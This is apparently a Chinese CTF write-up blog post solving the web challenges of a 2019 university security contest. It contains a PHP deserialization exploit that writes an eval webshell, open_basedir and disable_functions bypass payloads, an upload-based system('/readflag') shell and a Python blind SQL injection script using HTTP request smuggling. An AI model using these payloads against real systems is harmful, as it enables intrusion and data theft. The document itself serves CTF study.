2019 高校网络信息安全管理运维挑战赛web部分题解
前言
周六要期末考了,抽空拿学长(大佬级别,膜一波)wp细细揣摩复现.解决完审计题ezpop,未解决只能考完试在搞了
ezpop
给了源码
<?php
error_reporting(0);
class A{
protected $store;
protected $key;
protected $expire;
public function __construct($store, $key = 'flysystem', $expire = null)
{
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
public function cleanContents(array $contents)
{
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]);
foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
}
return $contents;
}
public function getForStorage()
{
$cleaned = $this->cleanContents($this->cache);
return json_encode([$cleaned, $this->complete]);
}
public function save()
{
$contents = $this->getForStorage();
$this->store->set($this->key, $contents, $this->expire);
}
public function __destruct()
{
if (! $this->autosave) {
$this->save();
}
}
}
class B{
protected function getExpireTime($expire): int
{
return (int) $expire;
}
public function getCacheKey(string $name): string
{
return $this->options['prefix'] . $name;
}
protected function serialize($data): string
{
if (is_numeric($data)) {
return (string) $data;
}
$serialize = $this->options['serialize'];
return $serialize($data);
}
public function set($name, $value, $expire = null): bool
{
$this->writeTimes++;
if (is_null($expire)) {
$expire = $this->options['expire'];
}
$expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name);
$dir = dirname($filename);
if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
}
$data = $this->serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
return true;
}
return false;
}
}
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
$dir = "uploads/";
if (!is_dir($dir))
{
mkdir($dir);
}
unserialize($_GET["data"]);
exp
<?php
error_reporting(0);
class A{
protected $store;
protected $key;
protected $expire;
public $complete;
public $cache;
public function __construct()
{
$this->key = ".php";
$this->store = (new B());
$this->expire = 6666;
$this->complete="IDw/cGhwIGV2YWwoJF9QT1NUW29zd29yZF0pOz8+";
$this->cache=["1"];
}
}
class B
{
public $options;
public function __construct()
{
$this->options['prefix']='php://filter/write=string.strip_tags|convert.base64-decode/resource=./uploads/osword1';
$this->options['serialize']='serialize';
$this->options['data_compress']=0;
}
}
echo base64_encode(serialize((new a())));
几个注意点
队友拿我脚本本地不成功,按他的方法记录下
serialize传入trim输出原始字符
再用个如下脚本,去掉base64无法解码字符,在满足四个字节每组就可以了
<?php
$_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']);
base64_decode($_GET['txt']);
easybypass
传phpinfo 查看禁用的函数和open_dir设置
绕过open_dir,查看
glob://协议查看
http://111.186.57.43:10101/?cmd=if%20(%20$b%20=%20opendir(%22glob:///*%22)%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20%22filename:%22.$file.%22\n%22;}closedir($b);}
学长的另一个payload,直接贴出来
mkdir('/tmp/fuck');chdir('/tmp/fuck/');ini_set('open_basedir','..');chdir('..');chdir('..');chdi
r('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));
http://111.186.57.43:10101/?cmd=file_put_contents(%27/tmp/osword.php%27,%27%3C?php%20eval($_POST[_]);?%3E%27);
现在是需要bypass disable_functions去执行/readflag
蚁剑连接
http://111.186.57.43:10101/?cmd=eval($_POST[a]);
上传该文件到/tmp目录
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
http://111.186.57.43:10101/?cmd=include(%27/tmp/rdd.php%27);&rdd=/readflag
ezupload
源码泄露
login.php.swp
传入不存在username,不传password即可绕过
username=123123123
设置cookie,返回upload.php
http://111.186.57.123:10501/uploads/fosword.phtml?osword=system(%27/readflag%27);
ezwaf
<?php
include "config.php";
if (isset($_GET['src']))
{
highlight_file(__FILE__);
}
function escape($arr)
{
global $mysqli;
$newarr = array();
foreach($arr as $key=>$val)
{
if (!is_array($val))
{
$newarr[$key] = mysqli_real_escape_string($mysqli, $val);
}
}
return $newarr;
}
$_GET= escape($_GET);
if (isset($_GET['name']))
{
$name = $_GET['name'];
mysqli_query($mysqli, "select age from user where name='$name'");
}else if(isset($_GET['age']))
{
$age = $_GET['age'];
mysqli_query($mysqli, "select name from user where age=$age");
}
HTTP请求走私绕过waf
很坑age=1+and+sleep(5)无法成功
GET /?age=0+or+1=1+and+sleep(5) HTTP/1.1
Host: 111.186.57.43:10601
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 0
Content-Length: 0
exp
import socket
import string
url = "111.186.57.43"
port = 10601
flag = ""
for i in range(1,50):
for j in string.printable:
s = socket.socket()
s.connect((url, port))
s.settimeout(3)
data = "GET /?age=0 or ascii(substr((select flag_32122 from flag_xdd),".replace(" ","%20")+str(i)+",1))="+str(ord(j))+" and sleep(10) HTTP/1.1\r\nHost:111.186.57.43:10601\r\nConnection:close\r\nContent-Length:0\r\nContent-Length:0\r\n\r\n".replace(" ",'%20')
print data
s.send(data)
try:
s.recv(1024)
s.close()
except:
flag = flag + chr(j)
print flag
s.close()
break
ezjava未解决
貌似考察fastjson反序列化漏洞不会,考完试在研究
ezcms未解决
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!